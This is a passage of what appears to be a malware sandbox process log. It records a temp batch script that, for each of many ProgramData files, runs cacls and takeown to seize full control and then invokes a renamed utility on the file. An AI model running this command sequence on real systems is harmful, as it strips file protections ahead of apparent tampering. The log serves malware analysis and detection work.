- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1"
    3⤵
    - Modifies file permissions
    PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "OfficeIntegrator.ps1" -nobanner
    3⤵
    PID:272
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "OfficeIntegrator.ps1" -nobanner
      4⤵
      PID:2988
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1892
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""
  2⤵
  PID:1784
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C
    3⤵
    PID:2184
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"
    3⤵
    PID:4052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "background.png" -nobanner
    3⤵
    PID:3760
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "background.png" -nobanner
      4⤵
      PID:3172
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2168
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""
  2⤵
  PID:3312
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:4080
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:4072
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3148
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""
  2⤵
  PID:3104
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"
    3⤵
    PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:948
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:1384
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml""
  2⤵
  PID:3320
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml" /E /G Admin:F /C
    3⤵
    PID:1796
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml"
    3⤵
    PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner
    3⤵
    PID:2240
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner
      4⤵
      PID:3744
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:400
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml""
  2⤵
  PID:3112
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:3464
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml"
    3⤵
    - Modifies file permissions
    PID:2976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner
    3⤵
    PID:2220
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner
      4⤵
      PID:3844
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4072
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml""
  2⤵
  PID:2244
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml" /E /G Admin:F /C
    3⤵
    PID:2972
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml"
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "RoamingCredentialSettings.xml" -nobanner
    3⤵
    PID:1096
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "RoamingCredentialSettings.xml" -nobanner
      4⤵
      PID:560
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:948
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl""
  2⤵
  PID:2988
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl" /E /G Admin:F /C
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl"
    3⤵
    - Modifies file permissions
    PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl" -nobanner
    3⤵
    PID:2328
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl" -nobanner
      4⤵
      PID:208
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2240
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml""
  2⤵
  PID:400
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:3776
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml"
    3⤵
    PID:3464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner
    3⤵
    PID:2976
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner
      4⤵
      PID:628
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2220
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml""
  2⤵
  PID:4072
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3164
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml"
    3⤵
    - Modifies file permissions
    PID:2972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner
    3⤵
    PID:1404
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner
      4⤵
      PID:1436
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:560
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml""
  2⤵
  PID:2860
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml" /E /G Admin:F /C
    3⤵
    PID:2092
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml"
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner
    3⤵
    PID:1796
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner
      4⤵
      PID:3924
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""
  2⤵
  PID:4020
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:3700
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"
    3⤵
    PID:3776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "behavior.xml" -nobanner
    3⤵
    PID:3464
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "behavior.xml" -nobanner
      4⤵
      PID:3296
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""
  2⤵
  PID:4012
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3784
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"
    3⤵
    - Modifies file permissions
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:2972
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:1384
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1436
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""
  2⤵
  PID:560
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C
    3⤵
    PID:3128
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"
    3⤵
    - Modifies file permissions
    PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftLync2010.xml" -nobanner
    3⤵
    PID:3400
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftLync2010.xml" -nobanner
      4⤵
      PID:4052
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3924
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:296
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"
    3⤵
    PID:3700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
    3⤵
    PID:3776
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
      4⤵
      PID:3844
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3296
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""
  2⤵
  PID:628
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"
    3⤵
    PID:3784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
    3⤵
    PID:3164
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
      4⤵
      PID:3332
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1384
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""
  2⤵
  PID:2360
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"
    3⤵
    PID:3128
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
    3⤵
    PID:2092
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
      4⤵
      PID:1788
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4052
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl""
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl" /E /G Admin:F /C
    3⤵
    PID:948
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl"
    3⤵
    PID:296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl" -nobanner
    3⤵
    PID:3700
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl" -nobanner
      4⤵
      PID:1008
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl""
  2⤵
  PID:2240
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl" /E /G Admin:F /C
    3⤵
    PID:2988
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl"
    3⤵
    - Modifies file permissions
    PID:2536
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl" -nobanner
    3⤵
    PID:3784
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl" -nobanner
      4⤵
      PID:1552
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""
  2⤵
  PID:876
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C
    3⤵
    PID:1200
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "overlay.png" -nobanner
    3⤵
    PID:3128
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "overlay.png" -nobanner
      4⤵
      PID:264
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1788
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""
  2⤵
  PID:1568
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"
    3⤵
    - Modifies file permissions
    PID:948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:296
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3456
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1008
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""
  2⤵
  PID:2860
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:208
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"
    3⤵
    - Modifies file permissions
    PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
    3⤵
    PID:2536
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
      4⤵
      PID:1096
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1552
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""
  2⤵
  PID:3556
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C
    3⤵
    PID:3104
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"
    3⤵
    - Modifies file permissions
    PID:1200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
    3⤵
    PID:3112
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
      4⤵
      PID:3232
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""
  2⤵
  PID:4012
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
    3⤵
    PID:948
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
      4⤵
      PID:292
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3456
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""
  2⤵
  PID:1008
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C
    3⤵
    PID:3924
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"
    3⤵
    - Modifies file permissions
    PID:208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
    3⤵
    PID:2988
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
      4⤵
      PID:1404
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
